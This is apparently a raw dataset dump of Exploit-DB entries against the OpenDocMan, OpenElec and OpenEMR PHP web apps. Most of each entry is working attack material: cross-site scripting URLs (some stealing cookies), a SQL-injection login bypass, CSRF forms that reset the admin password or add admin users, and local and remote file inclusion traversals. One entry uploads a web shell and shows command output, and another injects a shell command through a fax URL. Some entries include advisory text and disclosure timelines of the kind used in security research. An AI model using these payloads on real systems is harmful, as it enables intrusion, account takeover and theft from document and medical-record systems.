deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33303
Description: OpenDocMan 1.2.5 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
        
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
        
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/search.php/"><script>alert(1)</script>
Exploit-DB #33296
Description: OpenDocMan 1.2.5 - 'toBePublished.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
 
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/toBePublished.php/"><script>alert(1)</script>
http://www.example.com/opendocman/toBePublished.php?last_message=<script>alert(1)</script>
Exploit-DB #33304
Description: OpenDocMan 1.2.5 - 'user.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
         
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
         
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/user.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://www.example.com/opendocman/user.php?submit=Modify+User&item=2&caller=/opendocman/"><script>alert(123)</script><"
Exploit-DB #33305
Description: OpenDocMan 1.2.5 - 'view_file.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-21
Author: Amol Naik

Exploit:
source: https://www.securityfocus.com/bid/36777/info
          
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
          
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/view_file.php/"><script>alert(1)</script><"?aku=aWQ9NiZzdGF0ZT0z
Exploit-DB #9903
Description: OpenDocMan 1.2.5 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-10-20
Author: Amol Naik

Exploit:
Security Advisory : Multiple vulnerabilities in OpenDocMan
Discovered by 	==> Amol Naik (amolnaik4[at]gmail.com)

## Overview ##
--------------
OpenDocMan is a free document management system (DMS) designed to comply with ISO 17025 and OIE standard for document management. It features web based access, fine grained control of access to files, and automated install and upgrades.


## Vulnerability Description ##
-----------------
OpenDocMan is vulnerable to authentication bypass and multiple cross-site scripting issues.



## Technical Details ##
-------------
Vulnerable Product 	: OpenDocMan v1.2.5
Download		: http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5/opendocman-1.2.5.zip/download


Authentication Bypass:
----------------------

A valid username require to carry put Auth Bypass. Default is "admin".


Cross-site Scripting:
---------------------

Multiple instances of Cross-site scripting found majorly due to use of $_SERVER['PHP_SELF'] in action parameter of form field and due to absence of validation for "last_message" parameter.



## Proof of concept ##
----------------------

Authentication Bypass:
----------------------

Username : admin' OR '1'='1
[CREDENTIAL_REDACTED]

Cross-site scripting:
---------------------

http://localhost/opendocman/category.php/"><script>alert(1)</script><"?aku=c3VibWl0PWFkZCZzdGF0ZT0y
http://localhost/opendocman/department.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/profile.php/"><script>alert(1)</script>
http://localhost/opendocman/rejects.php/"><script>alert(1)</script>
http://localhost/opendocman/search.php/"><script>alert(1)</script>
http://localhost/opendocman/toBePublished.php/"><script>alert(1)</script>
http://localhost/opendocman/user.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/view_file.php/"><script>alert(1)</script><"?aku=aWQ9NiZzdGF0ZT0z
http://localhost/opendocman/index.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/user.php?submit=Modify+User&item=2&caller=/opendocman/"><script>alert(123)</script><"
http://localhost/opendocman/add.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/toBePublished.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/admin.php?last_message=<script>alert(1)</script>

## Workaround ##
----------------
Update to newer version v1.2.5.2
opendocmanv1.2.5.2: http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5.2/opendocman-1.2.5.2.zip/download


## TimeLine ##
----------------------
10th Oct 2009 : Bug Discovered
12th Oct 2009 : vendor was notified by e-mail
12th Oct 2009 : Vendor response received
20th Oct 2009 : A new release publicly available
20th Oct 2009 : Public Disclosure
Exploit-DB #20709
Description: OpenDocMan 1.2.6.1 - Cross-Site Request Forgery (Password Change)
Type: webapps
Platform: php
Date: 2012-08-22
Author: Shai rod

Exploit:
# Exploit Title: OpenDocMan Password Change CSRF
# Date: 22/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.opendocman.com/
# Software Link: https://github.com/downloads/opendocman/opendocman/opendocman-1.2.6.1.tar.gz
# Version: 1.2.6.1

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

<html>
<head>
<title>OpenDocMan v1.2.6.1 Password Change CSRF</title>
</head>
  <body>
  <pre>

About the Application:
======================

OpenDocMan is a free, open source web-based PHP document management system (DMS) designed to comply with ISO 17025 and OIE standard for 
document management. It features web based access, fine grained control of access to files, and automated install and upgrades.

Vulnerability Details:
======================

OpenDocMan is vulnerable to a CSRF which allows an attacker to change users password and profile details.
In order to change user details the attacker must know the user id, for example; the default id for the "admin" user is 1.
The victim must be logged in while clicking the malicious link.


<center>
<h2>Change Admin Password</h2>
</center>
</pre>
<center>
    <form action="http://10.0.0.12/open/user.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="caller" value="/open/profile.php" />
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="last_name" value="Admin" />
      <input type="hidden" name="first_name" value="Admin" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="phonenumber" value="
" />
      <input type="hidden" name="password" value="qwe123" />
      <input type="hidden" name="Email" value="admin@example.com" />
      <input type="hidden" name="department" value="1" />
      <input type="hidden" name="admin" value="1" />
      <input type="hidden" name="department_review[]" value="1" />
      <input type="hidden" name="set_password" value="0" />
      <input type="hidden" name="submit" value="Update User" />
      <input type="submit" value="Click Me" />
    </form>
	</center>
  </body>
</html>
Exploit-DB #25250
Description: OpenDocMan 1.2.6.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-05-06
Author: drone

Exploit:
# Exploit Title: OpenDocMan 1.2.6.5 Stored/Reflective XSS
# Date: 05/04/2013
# Exploit Author: drone (@dronesec)
# More Exploit Information: 
# Vendor Homepage: http://www.opendocman.com/
# Software Link: http://sourceforge.net/projects/opendocman/files/opendocman/1.2.6.5/opendocman-1.2.6.5.zip/download
# Version: 1.2.6.5
 
About the Application:
======================
 
OpenDocMan is a free, open source web-based PHP document management system (DMS) designed to comply with ISO 17025 and OIE standard for
document management. It features web based access, fine grained control of access to files, and automated install and upgrades.
 
Vulnerability Details:
======================
 
OpenDocMan is vulnerable to stored XSS, allowing any user the ability to upload malicious scripts.  When adding a new file, a user can enter a malicious Description or Comment field input.  Insufficient sanitization allows the following XSS to slip by:

    <sc<script>ript>alert(document.cookie)</sc<script>ript>

This value is then stored, and any user viewing it is affected.  Admin's who are required to approve documents, or view them, are also affected.  Stored XSS also exists when generating new Departments; by inserting a malicious Department name like above, arbitrary code can be remotely executed to visitors.

Reflective XSS exists in the error.php page.  By submitting the following request, an alert is generated:

  http://localhost/opendocman/error.php?ec=13&last_message=%3Csc%3Cscript%3Eript%3Ealert%281%29%3C/sc%3Cscript%3Eript%3E 

Timeline:
====================
05/04/13 > Sent email to developers
05/04/13 > Confirmed.  Version 1.2.6.6 released.
Exploit-DB #46500
Description: OpenDocMan 1.3.4 - 'search.php where' SQL Injection
Type: webapps
Platform: php
Date: 2019-03-05
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: OpenDocMan 1.3.4 - ’where’ SQL Injection
# CVE: N/A
# Date: 05/03/2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/opendocman/files/
# Software Link: https://sourceforge.net/projects/opendocman/files/
# Version: v1.3.4
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description: OpenDocMan is a web based document management
system (DMS) written in PHP designed
  to comply with ISO 17025 and OIE standard for document management.
  It features fine grained control of access to files, and automated
install and upgrades.
===========================================================================================
# POC - SQLi
# Parameters : where
# Attack Pattern : %2527
# GET Request :
http://localhost/opendocman/search.php?submit=submit&sort_by=id&where=[SQL Inject Here]&sort_order=asc&keyword=Training Manual&exact_phrase=on
===========================================================================================
Exploit-DB #39414
Description: OpenDocMan 1.3.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-02-04
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Opendocman 1.3.4
Fixed in:            1.3.5
Fixed Version Link:  http://www.opendocman.com/free-download/
Vendor Website:      http://www.opendocman.com/
Vulnerability Type:  CSRF
Remote Exploitable:  Yes
Reported to vendor:  11/21/2015
Disclosed to public: 02/01/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

CVSS

Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P

Description

Opendocman does not have CSRF protection, which means that an attacker can
perform actions for an admin, if the admin visits an attacker controlled
website while logged in.

3. Proof of Concept

Add new Admin User:

    <html>
      <body>
        <form action="http://localhost/opendocman-1.3.4/user.php" method="POST" enctype="multipart/form-data">
          <input type="hidden" name="last&#95;name" value="test" />
          <input type="hidden" name="first&#95;name" value="test" />
          <input type="hidden" name="username" value="test" />
          <input type="hidden" name="phonenumber" value="1214532" />
          <input type="hidden" name="password" value="12345678" />
          <input type="hidden" name="Email" value="test&#64;example&#46;com" />
          <input type="hidden" name="department" value="1" />
          <input type="hidden" name="admin" value="1" />
          <input type="hidden" name="can&#95;add" value="1" />
          <input type="hidden" name="can&#95;checkin" value="1" />
          <input type="hidden" name="submit" value="Add&#32;User" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>


4. Solution

To mitigate this issue please upgrade at least to version 1.3.5:

http://www.opendocman.com/free-download/

Please note that a newer version might already be available.

5. Report Timeline

11/21/2015 Informed Vendor about Issue (no reply)
12/10/2015 Reminded Vendor of disclosure date
12/19/2015 Vendor sends fix for CSRF for verification
01/13/2016 Confirmed CSRF fix
01/20/2016 Vendor requests more time to fix other issues in same version
01/31/2016 Vendor releases fix
02/01/2015 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/Opendocman-134-CSRF-150.html
 
--
blog:  https://blog.curesec.com
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany
Exploit-DB #31933
Description: OpenDocMan 1.x - 'out.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-17
Author: Sergi Rosello

Exploit:
source: https://www.securityfocus.com/bid/29765/info

OpenDocMan is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman-1.2.5/out.php?last_message=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #6530
Description: OpenElec 3.01 - 'obj' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-22
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #################################################################
 #  [ OpenElec <= v3.01 ]   Local File Inclusion Vulnerability   #
 #################################################################
 #
 # Script site: http://www.openelec.org/
 # Download: http://adullact.net/frs/?group_id=434
 #
 # Vuln: 
 # http://site.com/openelec/scr/form.php?obj=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./openelec/scr/form.php (lines: 27-32)
 #
 # ...
 # 	$obj = "";
 #	if (isset ($_GET ['obj']))
 #		$obj = $_GET ['obj'];
 #	//
 #  	if (file_exists ("../obj/".$obj.".class.php"))
 #       include ("../obj/".$obj.".class.php");	        // * LFI *
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-22]
Exploit-DB #38328
Description: OpenEMR - 'site' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-02-21
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/58085/info

OpenEMR is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OpenEMR 4.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/openemr/[DIR]/[SCRIPT]?site="><script>alert(1);</script>
Exploit-DB #1886
Description: OpenEMR 2.8.1 - 'fileroot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-07
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  OpenEMR <= 2.8.1 Remote File Include Vulnerability
$$  Script site: http://sourceforge.net/projects/openemr/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:

http://www.site.com/[OpenEMR_path]/contrib/forms/evaluation/C_FormEvaluation.class.php?GLOBALS[fileroot]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-07]
Exploit-DB #29556
Description: OpenEMR 2.8.2 - 'Import_XML.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-31
Author: trzindan

Exploit:
source: https://www.securityfocus.com/bid/22346/info

OpenEMR is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 2.8.2; other versions may also be vulnerable. 

http://www.example.com/openemr-2.8.2/custom/import_xml.php?srcdir=evilcode
Exploit-DB #29557
Description: OpenEMR 2.8.2 - 'Login_Frame.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-31
Author: Michael Melewski

Exploit:
source: https://www.securityfocus.com/bid/22348/info

OpenEMR is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 2.8.2; other versions may also be vulnerable. 

http://www.example.com/openemr/interface/login/login_frame.php?rootdir=[XSS]
Exploit-DB #18274
Description: OpenEMR 4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-12-25
Author: Level

Exploit:
OpenEMR 4 (Level @ Smash The Stack)
Summary: Patient Photograph Arbitrary File Upload

Initial Comment:
1. Login with valid User/Pass
2. Patient/Client -> Search/New Patient (search for anything)
3. Click Documents -> Patient Photograph
4. Upload Shell

URL: http://www.example.com/openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id
EX: http://www.example.com/oe/sites/default/documents/1/shell.php.jpg?cmd=id
Output: uid=48(apache) gid=48(apache) groups=48(apache)

first installed SITENAME = default
first installed PATIENTID = 1


OpenEMR 4 (Level @ Smash The Stack)
XSS

http://www.target.com/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E


OpenEMR 4 (Level @ Smash The Stack)

Summary: validateUser.php SQL Injection

Initial Comment:
http://www.target.com/oe/interface/login/validateUser.php?u=test'

validateUser.php:
$user = $_GET['u'];
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");
Exploit-DB #36034
Description: OpenEMR 4.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-09
Author: Houssam Sahli

Exploit:
source: https://www.securityfocus.com/bid/49090/info

OpenEMR is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

OpenEMR 4.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/openemr/interface/main/calendar/index.php?tplview='<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/calendar/index.php?pc_category='<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/calendar/index.php?pc_topic='<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/messages/messages.php?sortby="<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/messages/messages.php?sortorder="<script>alert('XSS');</script>
http://www.example.com/openemr/interface/main/messages/messages.php?showall=no&sortby=users%2elname&sortorder=asc&begin=724286<">
Exploit-DB #36650
Description: OpenEMR 4.1 - '/contrib/acog/print_form.php?formname' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-01
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51788/info
  
OpenEMR is prone to local file-include and command-injection vulnerabilities because it fails to properly sanitize user-supplied input.
  
A remote attacker can exploit these issues to execute arbitrary shell commands with the privileges of the user running the application, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the Web server process. This could allow the attacker to compromise the application and the computer; other attacks are also possible.
  
OpenEMR 4.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/contrib/acog/print_form.php?formname=../../../etc/passwd%00
Exploit-DB #36651
Description: OpenEMR 4.1 - '/Interface/fax/fax_dispatch.php?File' 'exec()' Call Arbitrary Shell Command Execution
Type: webapps
Platform: php
Date: 2012-02-01
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51788/info
   
OpenEMR is prone to local file-include and command-injection vulnerabilities because it fails to properly sanitize user-supplied input.
   
A remote attacker can exploit these issues to execute arbitrary shell commands with the privileges of the user running the application, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the Web server process. This could allow the attacker to compromise the application and the computer; other attacks are also possible.
   
OpenEMR 4.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/interface/fax/fax_dispatch.php?file=1%22%20||%20ls%20%3E%20123